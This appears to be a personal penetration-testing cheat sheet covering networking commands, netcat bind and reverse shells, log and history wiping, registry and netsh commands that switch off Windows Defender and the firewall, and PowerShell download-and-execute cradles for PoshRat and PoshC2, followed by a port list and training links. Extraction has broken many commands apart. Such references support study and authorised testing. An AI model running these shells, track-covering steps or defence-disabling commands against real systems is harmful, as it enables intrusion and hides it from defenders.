smb://<ip>/share :access Windows share

share user x.x.x.x c$ :mount Windows share

smbclient

–

U user \\\\<ip>\\<share> :SMB connect

ifconfig eth# <ip>/<cidr> :set IP and netmask

ifconfig eth0:1 <ip>/<cidr> :set virtual interface

route add default gw <gw_ip> :set GW

export MAC=xx:xx:xx:xx:xx:xx :change MAC

ifconfig <int> hw ether <MAC> :change MAC

macchanger

–

m <MAC> <int> :change MAC

iwlist <int> scan :built-in wifi scanner

dig

–

x <ip> :domain lookup for IP

host <ip> :domain lookup for IP

host

–

t SRV _<service>_tcp.url.com :domain SRV lookup

dig @ip domain

–

t AXFR :DNS zone xfer

host

–

l <domain> <namesvr> :DNS zone xfer

ip xfrm stat list :print existing VPN keys

ip addr add <ip>/<cidr> dev eth0 :adds

‘

hidden

’

interface

/var/log/messages|grep DHCP :list DHCP assignments

tcpkill host <ip> and port <port> :block ip:port

echo

“

”

> /proc/sys/net/ipv4/ip_forward :turn on IP forwarding

echo

“

nameserver x.x.x.x

”

> /etc/resolv.conf :add DNS server

Linux Utility Commands

service <service> start :start service

service ssh start; netstat

–

antp | grep sshd :start service then check to see running

service apache2 start :start apache web service

/etc/init.d/apache2 restart :alt method to restart apache svc

echo

“

Testing testing

”

> /var/www/index.html :make web server file to test

update-rc.d <service> enable :auto enable service on startup

rdesktop <ip> :RDP (mstsc for linux) to <ip>

scp /tmp/file user@x.x.x.x/tmp/file :secure copy (put) file

scp user@<remoteip>:/tmp/file /tmp/file :secure copy (get) file

passwd <user> :change user password

rmuser uname :remove user

script

–

a <outfile> :record shell : Cntrl-D stops

apropos <subject> :find related command

history :view users command history

!<num> :executes line # in history

wget :pull files

Netcat/Ncat Connections / Bind & Reverse Shells

Updated version of netcat

ncat

–

-exec cmd.exe

–

-allow 10.0.0.4

–

vnl 4444

–

-ssl :ncat listener(replaced netcat)

ncat

–

v 10.0.0.22 4444 -

–

ssl :ncat connect to listener

ncat

–

lvp 4444

–

e cmd.exe

–

allow <ip> --ssl :attacker listener-ssl

ncat

–

v <attacker_listener_ip> 4444

–

-ssl :victim connects

Traditional netcat listener/connector

–

nlvp 4444 :ncat listener over port 4444

–

nv <ip of listener> 4444 :ncat connector

Netcat listener to transfer file

–

p <port> > bo.txt (victim) :netcat listener (don

’

t forget firewall)

–

w 3 <ip> <port> < bo.txt (attacker) :netcat connect to listener

Netcat listener to transfer a file

–

nlvp 4444 > incoming.exe :netcat listener for incoming file

–

nv <ip of listener> 4444 </usr/share/windows-binaries/wget.exe :send file

Netcat bind shell (attacker makes connection to victim)

–

lvp 4444

–

e cmd.exe :netcat listener to gain cmd line access

–

vn <listener_ip> 4444 :netcat connector from victim behind FW

ipconfig (access to computer)

Netcat reverse shell (victim makes connection to attacker for cmd line)

–

nlvp 4444 :netcat listener on attacker

–

nv <attacker_ip> 4444

–

e /bin/bash :victim reaches out to make connection

id; uname

–

a (access to computer)

–

nv <ip> 25 ;HELP :netcat connect to mail server,see help

–

nv <ip> 110 ;USER bob;PASS bob :netcat connect to mail server over 110

–

nv <ip> 143 ;USER bob; PASS bob :netcat connect to mail server over 143

Linux Cover Your Tracks Commands

echo

“”

> /varlog/auth.log :clear auth.log file

echo

“”

> ~/.bash_history :clear current user bash history

rm ~/.bash_history

–

rf :delete .bash_history file

history

–

c :clear current session history

export HISTFILESIZE=0 :set history max lines to 0

export HISTSIZE=0 :set history max commands to 0

unset HISTFILE :disable history logging (log out after)

kill -9 $$ :kills current session

ln /dev/null ~/.bash_history

–

sf :permanently send bash hist to /dev/null

Linux File System Structure

/bin :user binaries

/boot :boot-up related files

/dev :interface for system devices

/etc :system configuration files

/home :base directory for user files

/lib :critical software libraries

/opt :third party software

/proc :system and running programs

/root :home directory of root user

/sbin :system administrator binaries

/tmp :temporary files

/usr :less critical files

/var :variable system files

Linux Files

/etc/shadow :local users

’

hashes

/etc/passwd :local users

/etc/group :local groups

/etc/rc.d :startup services

/etc/init.d :service

/etc/hosts :known hostnames and IPs

/etc/HOSTNAME :full hostname with domain

/etc/network/interfaces :network configuration

/etc/profile :system environment variables

/etc/apt/sources.list :Ubuntu sources list

/etc/resolv.conf :nameserver configuration

/home/<user>/.bash_history :bash history (also /root/)

/usr/share/wireshark/manuf :vendor-MAC lookup

~/.ssh/ :SSH keystore

/var/log/ :system log files (most Linux)

/var/adm :system log files (Unix)

/var/spool/cron :list cron files

/etc/cron.daily :daily cron jobs

/var/log/apache/access.log :Apache connection log

/etc/fstab :static file system info

Linux Shell Essentials

Up/down :command history

Tab auto complete :once for unique, twice for non-unique

Cntrl+R then chars :find recent commands

Cntrl+L :clear screen

Cntrl+C :stop current command

clear :command to clear shell

Linux Scripting

Ping Sweep

for x in (1..254..1);do ping

–

c 1 1.1.1.$ |grep

“

64 b

”

|cut

–

”

“

–

f4 >> ips.txt;done

##Alternative script

nano ping-loop.sh

#!/bin/bash

#The ampersand backgrounds the process so that each ping runs in parallel

for ip in $(seq 200 254); do

ping

–

c 192.168.31.$ip |grep

“

bytes from

”

|cut

–

”

“

–

f 4|cut

–

”

–

f1 &

Automated Domain Name Resolve Bash Script

#!/bin/bash

echo

“

Enter Class C Range: i.e. 192.168.3

”

read range

for ip in {1..254..1};do

host $range.$ip |grep

“

name pointer

”

|cut

–

”

“

–

f5 &

done

Get Links from a Website Bash Scripting

#download main page

wget www.cisco.com

#links pretty much start with

“

<a href

”

#shows that lines still contain a lot of html which we need to cut out

cat index.tml | grep

“

href =

”

#cut using a delimiter of

“

”

, and have the 3

field printed out

cat index.tml | grep

“

href =

”

|cut

–

”

–

f3 |more

#output is far from optimal

#filter out lines that don

’

t contain cisco.com

cat index.tml | grep

“

href =

”

|cut

–

”

–

f3 |grep

“

cisco\.com

”

|more

#now we see some entries with additional output at the back end starting with

“

cat index.tml | grep

“

href =

”

|cut

–

”

–

f3 |grep

“

cisco\.com

”

|cut

–

’”’

–

f1|more

#nice list now but lots of duplicates, sort

–

u sorts unique

cat index.tml | grep

“

href =

”

|cut

–

”

–

f3 |grep

“

cisco\.com

”

|cut

–

’”’

–

f1|sort -u

#outputs cisco.com domains from that site

####Alternate method using regex, and output to cisco.txt for further processing

grep

–

‘

[A-Za-z0-9_\.-]*\.*cisco.com

’

index.html |sort

–

u >cisco.txt

#now find the ip information for cisco.com, cut 4

field

host www.cisco.com | grep

“

has address

”

|cut

–

“

–

#create a bash shell script to enumerate ips for sites mentioned

nano cisco.sh

#!/bin/bash

For url in $(cat cisco.txt);do

Host $url |grep

“

has address

”

|cut

–

“

–

Done

#now change permissions and run your bash script

chmod 755 cisco.sh

./cisco.sh

####Super condensed alternate version

for url in $( grep

–

‘

[A-Za-z0-9_\.-]*\.*cisco.com

’

index.html |sort

–

u); do host

$url|grep

“

has address

”

|cut

–

”

“

–

f4; done

DNS Reverse Lookup

For ip in {1..254..1}; do dig

–

x 1.1.1.$ip | grep $ip >> dns.txt; done;

Python Essentials

*most of this is notes from DevNet

Add Bash Shell to Windows 10

*Note Windows versions prior to 1803 are unstable, and you should upgrade your Windows

version to 1803+ before installing bash shell for Win10. If you have SentinelOne it

will also literally cause your computer to Blue Screen every time you invoke bash

(versions prior to 1803)

Settings/ Update & Security / For Developers / Select Developer Mode.

After clicking through and rebooting go to Control Panel / Programs / Turn Windows

features on or off / Click Windows Subsystem for Linux (beta) and ok. Reboot.

Start / bash.exe <enter> / click through defaults to download

Go through rest of the setup

Setting (or Removing) a Proxy for apt-get

nano /etc/apt/apt.conf.d/99proxy

#for older Ubuntu versions, nano /etc/apt/apt.conf

#add (or remove) the following

Acquire::http::proxy

“

http://maytag.nscorp.ad.nscorp.com:8080/

”

;

Acquire::https::proxy

“

https://maytag.nscorp.ad.nscorp.com:8080/

”

;

Alternately for authentication:

Acquire::http::proxy "http://username:password@proxyhost:port/";

Acquire::https::proxy "https://username:password@proxyhost:port/";

#Note if If your username or password has '@' in it you can replace it with %40

#supposedly next to run your script:

python3.6 script.py --proxy=

”

user:password@server:port

”

Python3.6 Setup

sudo apt-get install curl

sudo apt-get install libssl-dev

sudo apt-get install build-essential

sudo apt-get install git

sudo apt-get install python3.6

#Note that it will try to default to 3.4

sudo apt-get install python3-pip

python3.6

–

#verify it installed correctly

sudo apt-get install python3.6-venv

Python3.6 Virtual Environments

python3.6

–

m venv <nameof-venv>

source <nameof-venv>/bin/activate

#This puts you in your virtual python environment

python

–

#check what version it is running you in

Deactivate

#exit out of python environment

Git Integration

git clone <url> :clone remote repository

git checkout

–

b <new branch name> :create & checkout a local branch

git add <new or modified file>

git commit

–

“

Commit Message

”

:incrementally commit changes

REST API Example with Formatting (using command line)

75 
 
#simply query returning formatted output 
curl https://deckofcardsapi.com/api/deck/new/ | python -m json.tool 
#query using authentication string w/formatted output 
curl -X GET https://api.ciscospark.com/v1/teams -H "Authorization:Bearer <token>" | 
python 
–
m json.tool 
 
 
REST API Example using Postman 
 
 
#simple example, just type the following in the GET search & click Send 
https://deckofcardsapi.com/api/deck/new/ 
 
#save to python example with autoparamter in URL 
–
 just type in GET search 
https://deckofcardsapi.com/api/deck/new/shuffle/?deck_count=6 
#Instead of clicking Send, click Code 
–
 then select Python  
 
#example specifying parameters manually 
Get request: https://icanhazdadjoke.com/ 
Specify parameter Key 
“
Accept
”
 and Value 
“
application/json
”
 
 
#example of manually passing parameter 
https://deckofcardsapi.com/api/deck/new/shuffle/?deck_count=1 
#copy deck id value and pass to next REST API call 
https://deckofcardsapi.com/api/deck/<<deck_id>>/draw/?count=3 
 
#example of predefining variables & passing in Postman 
–
 great for API keys 
https://deckofcardsapi.com/api/deck/new/shuffle/?deck_count=1 
#from the output, copy the 
“
deck_id
”
 value.  
#To create an environment, click the Settings (gear) icon in the right-hand side of 
Postman and choose Manage Environments 
#Click Add to set up a new environment, name it 
#in the Key column, it
’
s easiest to name it the original parameter 
“
deck_id
”
 
#in the Value column paste our output from the GET command at the beginning of this  
#to use the variable add double curly brackets {{variable}} 
GET: https://deckofcardsapi.com/api/deck{{deck_id}}/draw/?count=3 
 
 
Other Useful Tools
 
 
 
Atom 
Notepad++ 
Postman 
 
ngrok : sudo wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip 
sudo unzip ngrok-stable-linux-amd64.zip 
sudo mv ngrok /usr/local/bin 
ngrok http 5000 
 
MicroPython: 
About MicroPython 
Cheap ESP32 Boards 
 
 
Python Training 
 
 
For Beginners: 
edx.org Python Introductory Courses 
MITx 6.00.1x: Introduction to Computer Science and Programming Using Python 
coursera.org Python Courses 
codecademy.com Learn Python 
Learn Python the Hard Way 
 
For Intermediate: 
edx.org Python Intermediate Courses 
The Hitchhiker
’
s Guide to Python! 
Effective Python 
Full Stack Python 
 
Python Hands On: 
Python Challenge 
 

Windows Essentials

Disable Group Policy / Windows Defender / Windows Firewall

Disable Group Policy

cmd

REG add "HKLM\SYSTEM\CurrentControlSet\services\gpsvc" /v Start /t REG_DWORD /d 4 /f

<OR>

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gpsvc\start :change to

“

”

First need to take ownership <cmd would be takeown & icacls)

Stop Group Policy Client:

net stop gpsvc

Disable Windows Defender

REG add "HKLM\ SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware" /v

Start /t REG_DWORD /d 1 /f :1=disable;0=enable

Disable Windows Firewall

netsh advfirewall set allprofiles state off

Windows Essential Tools

Cygwin :Windows emulator for linux tools

Sysinternals :several good tools

Windows Search

KEY WORDS: firewall, password, authentication, security, names, finance, e-mail

strings (Sysinternals) :search strings(ASCII,big&little endian)

strings

–

n [N] :search strings > than N characters

find /i

“

password

”

:Windows command to look for

“

password

”

type *.txt | find /i

“

string

”

:Win command search string w/filetypes

type <file> | findstr <regex> :Win command for regex query

Windows System Info

whoami :check who you are running as

set username :similar to whoami (see current user)

set path :check current path

net user :list of local users defined on machine

net user <user> <password> /add (or /del) :add or delete a user

net localgroup :local groups created on machine

net localgroup administrators :users in local admin group

net localgroup administrators <user> /add/del :add or delete a user to admin group

dir :view current directory

sc query :list running services

sc query stat= all :view all services, not just running

sc config <service_name> start=demand :set a service so we can manually start

tasklist :list running processes

taskkill /PID <process_ID> :kill a running process

nbtstat

–

A <ip> :get hostname for ip

netsh advfirewall show allprofiles :show firewall settings (/? For help)

netsh advfirewall firewall add rule name=

”

name

”

dir=in action=allow remoteip=<yourip>

protocol=TCP localport=port :create an entry in host firewall

netsh advfirewall set all profiles state off :turn the firewall off

control /name Microsoft.WindowsDefender :disable Windows Defender

runas /u:<user> cmd.exe :run cmd prompt as different user

Windows Remote Commands

psexec \\ip

–

u <user> -p <password> cmd :Sysintrnls, metaS, or NSE; net use 1st

net use \\ip\share password /u:<domain\user> :start SMB session w/target; C$ IPC$ etc

net use * /del :drop connections-open can cause issues

sc \\ip query :svcs query if SMB session established

Windows Network Commands

nslookup <name/ip> :dns query

ping :

tracert -6 :-6 for IPv6

netstat

–

nao :view network activity

ipconfig :view network settings

ipconfig /displaydns :view DNS cache

Windows File Commands

*renaming .pif hides windows extensions and makes it executable but shows like the

first file extension

PowerShell Essentials

PowerShell Training

http://underthewire.tech/index.htm

PowerShell Basics

Get-command :list all cmdlets

Get-command get* :list all starting w/get

Get-command *process :find all commands w/process

Common Verbs: set, get, new, read, find, start

Get-alias

–

Definition Get-ChildItem :find a cmdlet

’

s alias

alias gcm :expand an alias

’

full name

help <cmdlet or alias> -examples (or

–

full) :very useful

Tab :i.e: get-<tab>

-whatif (ie Remove-Item *.txt

–

whatif :lets you see what it would remove

PowerShell Cmdlets (Common) Alias Win cmd Linux cmd

Get-ChildItem ls, dir, gci :dir :ls

Copy-Item cp copy, cpi :copy :cp

Move-Item mv, move, mi :move :mv

Select-String sls :find,findstr :grep

Get-Help man, help :help :man

Get-Content cat, type, gc :type :cat

Get-Process ps, gps :tasklist :ps

Get-Location pwd, gl :cd :pwd

Powershell System Info

ps | format-list

–

property * :shows all properties for all prcs

get-service | ? {$_.status

–

“

running

”

} :show running services

New-Service

–

name ncservice1

–

BinaryPathName

“

cmd.exe /k C:\netcat\nc.exe

–

p 1234

–

cmd.exe

”

–

StartupType manual :create a netcat listener

Start-Service ncservice1 :start your netcat listener

–

r C:\windows hosts 2>$null | % {echo $_.fullname}:search file named hosts

ls env: :list environment variables

ls variable :list regular variables

echo $home :show regular variable (home)

echo $env:PROC<Tab> :show env variable

select-string

–

path C:\users\*.txt

–

pattern password:grep equivalent

1..10 :lists 1,2,3,4..

–

r | Out-File :save to file

About PowerShell Empire

https://www.powershellempire.com

A PowerShell framework for pen testing from MimiKatz to token manipulation, lateral

movement, etc. Refer to PowerShell Empire Section.

BabaDook (Persistence through PowerShell across Share Drives)

https://github.com/jseidl/Babadook :download

Nishang (PowerShell Pen Testing Framework)

https://github.com/samratashok/nishang/blob/master/README.md

PoshRat ()

https://github.com/subTee/PoshRat

PowerShell Reverse HTTP(s) Shell

Invoke PoshRat.ps1 On An A server you control. Requires Admin rights to listen on

ports.

To Spawn The Reverse Shell Run On Client

iex (New-Object Net.WebClient).DownloadString("http://server/connect")

[OR] Browse to or send link to http://server/app.hta

[OR] For CVE-2014-6332 Send link to http://server/app.html

PoshC2 (PowerShell Pen Testing Framework)

https://github.com/nettitude/PoshC2

powershell -exec bypass -c "IEX (New-Object

System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/nettitude/PoshC

2/master/C2-Installer.ps1')" :install

Android Essentials

Decompile APKs

ApkTool :follow install instructions

cd C:\Windows :navigate to installed folder

apktool d C:\temp\file.apk :puts under C:\Windows\Android01

check AndroidManifest.xml :main config file, look whats exposed to other apps

check res/values/strings.xml :can contain useful info

search for .db and .sqlite files

can use https://sqliteonline.com/ to view contents

Ports

7 TCP

Echo Request - Ping

1967 UDP

Cisco IPSLA

15 TCP

Netstat

2013

Default Central Admin (ShP

2013)

19 TCP

Chargen (many DDOS attacks)

2049

NFS

20/21 TCP

FTP

2050

CICS Transaction Gateway(MF)

22 TCP

SSH

2055 UDP

Netflow from Endpoint

Connector to Stealthwatch

Telnet; iLO2&3

2101

MSMQ-DCs

25 TCP

SMTP

2107

MSMQ-Mgmt

37 UDP

Time Protocol

2200

SecureConnector-Linux(4Scout)

42 TCP

WINS Replication

2393 TCP

Identity to Stealthwatch (SSL

Protocol)

43 TCP

WHOIS

2880

PAM Socket Filter Agent

GRE

2967

Symantec-AV

TACACS

3074

XBOX Live

Remote Mail Checking Protocol

3128

Squid Proxy

53 UDP

DNS (TCP is between DCs)

3268 TCP

LDAP Global Catalog

63 TCP

WHOIS

3269 TCP

LDAP Global Catalog SSL

65 BOTH

TACACS

3306

MySQL

67/8 UDP

DHCP

3343 UDP

Windows Cluster Services

69 UDP

TFTP

3389

RDP

70 TCP

Gopher Internet doc search

3479

Playstation Network

79 TCP

Finger

3480

Playstation Network

HTTP

3514 UDP

Syslog from Cisco ISE to

Stealthwatch

Torpack Onion Routing

3689

itunes

Kerberos

4099 TCP

AOL-IM

107

rtelnet

4369

FireEye Broker

110

POP3

4568

SQL Galera Cluster (EWS)

111

RPC

4712

McAfee Proxy (WG) Server

115

SFTP

5000 TCP

UPnP

119 TCP

NNTP

5000 UDP

IP SLA Jitter Testing

123 UDP

NTP

5007

PTC LEADER standalone traffic

135

Windows RPC

5010 BOTH

YAHOO IM

137

NetBIOS

5050

YAHOO IM

138

NetBIOS Datagram Service

5060

SIP

139

SMB;NetBIOS Session Service

5100 BOTH

YAHOO IM

143

IMAP

5190-3

TCP

AOL IM

156

SQL Service

5190-3

AOL IM

UDP

161

SNMP

5222

Jabber

162

SNMP-trap (used in

Stealthwatch)

5353 UDP

itunes

179

BGP

5432

Postgres

194 TCP

IRC

5536

PAM Syslog

201-8

TCP/UDP

AppleTalk

5666

Nagios

220

IMAP3

5671

FireEye Broker

389 BOTH

LDAP

5800-3

VNC

443 TCP

HTTPS

5900-3

VNC

443 UDP

Cisco AnyConnect using DTLS;

but also Chrome w/QUIC enabled

6000

X11

444 TCP

Snorby; MainFrame DBP8 and

DBP9 databases (RBA)

6129

TCP/UDP

Dameware

445 TCP

SMB

6343 UDP

Director to Flow Director

–

sFlow Protocol

447 TCP

Mainframe DB2 DBP1DIST

6665-6669

IRC

448 TCP

MainFrame DBP2 database

6881-90

TCP

Bittorrent

496

PIM-RP-DISC (Rendevous PD,

Mulitcast)

6902-6999

TCP

Bittorrent

500 UDP

ISAKMP

7000

MF: CA Automation Point

513

rLogin

7000-7023

IBM Andrew Distributed File

System

514 TCP

Shell

7734

Sguil

514 UDP

Syslog

7900-2

CA PAM Cluster traffic

515 TCP

MF Levi Ray, Shoup

–

tasks

connecting to network printers

8000

Splunk Server; vMotion

520 TCP

EFS, Extended File Name Server

8002

PTC: MDM Traffic from TMC

520 UDP

RIP

8007

HBSS ePo web gui

531

AOL IM

8008 TCP

IBM HTTP Server Admin Default

543

Klogin (Kerberos)

8080

NS Proxy Port, Apache Tomcat,

OnCommand Unified Manager

544

Kshell (Kerberos)

8089

Splunk Daemon Management

546/7

DHCPv6

8100 TCP

Hitachi Password Manager

548

TCP/UDP

Appleshare

8443

ePO Management Server;

Network Sentry Svr; PTMS

587

SMTP

8444

Entrust ID Guard Mgmnt Svr

636

LDAP over SSL

8530/8531

WSUS Syncronization (HTTP/S)

657

IBM RMC

8550

CA PAM Socket Filter Agent on

target device

901 TCP

Samba-Web

8834

Nessus ACAS web gui

902

VSphere Client<->Server

9000 TCP

Hadoop NameNode default

903

VMWare ESXi

9001

Tor, HSQL

993

IMAPS

9090/1

Openfire

994 TCP

IRC

9100

Jet Direct

995

POP3S

9111

McAfee Web Reporter

1025

NFS

9443

vSphere Manager

1026/1029

Often used by Microsoft DCOM

services

9999

Central Admin Default (ShP

2010)

1058/1059

IBM AIX Network Installation

Manager

10000-

10001 TCP

Cisco VPN

1080

Socks Proxy

10001 TCP

Mainframe Nexus 3270-based

email system

1098/1099

RMIRegistry, Java Remote

Method Invocation Activation

10003

SecureConnector-Windows

(4Scout)

1194

OpenVPN

12345

Trend-Micro-AV

13000

CounterAct Enterprise

1241

Nessus Security Scanner

17990

iLO4 Remote Console Port

1293

IPSec

22015

Hitachi Command Suite

1414/1417

–

IBM WebSphere

1415

MQ Started Tasks

MQTBCHIN/MQTACHIN

1433

MS-SQL Server(TCP-only named

instance)

1434

MS-SQL (Monitor)

17990

iLO4 Remote Console Port

1443

SQL Server default port

22015

Hitachi Command Suite

1494

Citrix Independent Computing

Architecture

25672

FireEye Broker

1500 TCP

IBM Tivoli Storage Manager

Server

27077

CA PAM Windows Proxy

1501 TCP

IBM Tivoli Storage Manager

Client Scheduler

28088

PAM

–

A2A

1512

WINS

33434-

33689

traceroute

1521

Oracle

38293

Symantec-AV

1629

Dameware

40200

GPOADmin

1645

RADIUS (legacy)

41001

Virtel (Mainframe)

1646

RADIUS (legacy)

49443

ADFS Device Registration

1721

MF - CA Automation Point

1789

Hello (Router comm. Protocol)

1801

MSMQ

1812

RADIUS Authentication

1813

RADIUS Accounting

1900 UDP

UPnP

84 
 
Training: Certs, Links, & Books 
 
Useful Training Links
 
Capture the Flag Events  :
 
ctftime.org 
Vulnerable VMs          :
 
vulnhub.com and pentesterlab.com & 
practicalpentestlabs.com 
&
 Bob Blog
 & 
Over the Wire & Root-Me 
Online Training          :
 
udemy.com/ & pluralsight.com 
Requires you to hack just to get in    :hackthebox.edu 
Vulnerable OWASP Top 10 Hands On Training  :OpenDNS 
Bug Bounties  :BugCrowd.com and hackerone.com 
Programming / Scripting  :Code Academy and Python 
Atlanta Based Groups  :404 and 2600 groups & OWASP 
 
Certification Roadmap
 
Recommended Reading
 
RTFM (Clark) 
Violent Python 
Pen Test Basics (Weidman) 
Hacking: The Art of Exploitation 
Python In Your Pocket (Lutz) 
Bash Reference (Robbins) 
Social Engineering (Hadnagy) 
The Car Hackers Handbook (Smith)

Hacker Toys

Distro

Kali

BlackArch :1925 pen tester tools

ParrotSec :Security & Digital Forensics

Cloud Servers

Digital Ocean :super cheap proxy server

Azure :Microsoft

AWS :Amazon

Great Scott Gadgets

Throwing Star LAN Tap ($15) :cheap tap, works well

Ubertooth One ($130) :Bluetooth transmit/monitor

HackRF One ($300) :Software Defined Radio 1Mhz-6Ghz

midBit Technologies

SharkTap ($70) :allows injection

Hak5

Pineapple Router ($100) :MitM router

Rubber Ducky ($40) :Exploit USB

Bash Bunny ($100) :Advanced exploit USB

Pwnie Express (expensive)

PWN Plug R2 :powerful hacking platform

CryptoNotes

Crypto Mining

Quick Guide

GPU mining is only way to make it worth the energy

Multipool :one site to mine in a pool

Multiminer software :

Crypto Trading

Coinbase :seems to be most stable

Hitch Hacker's Guide To The Network

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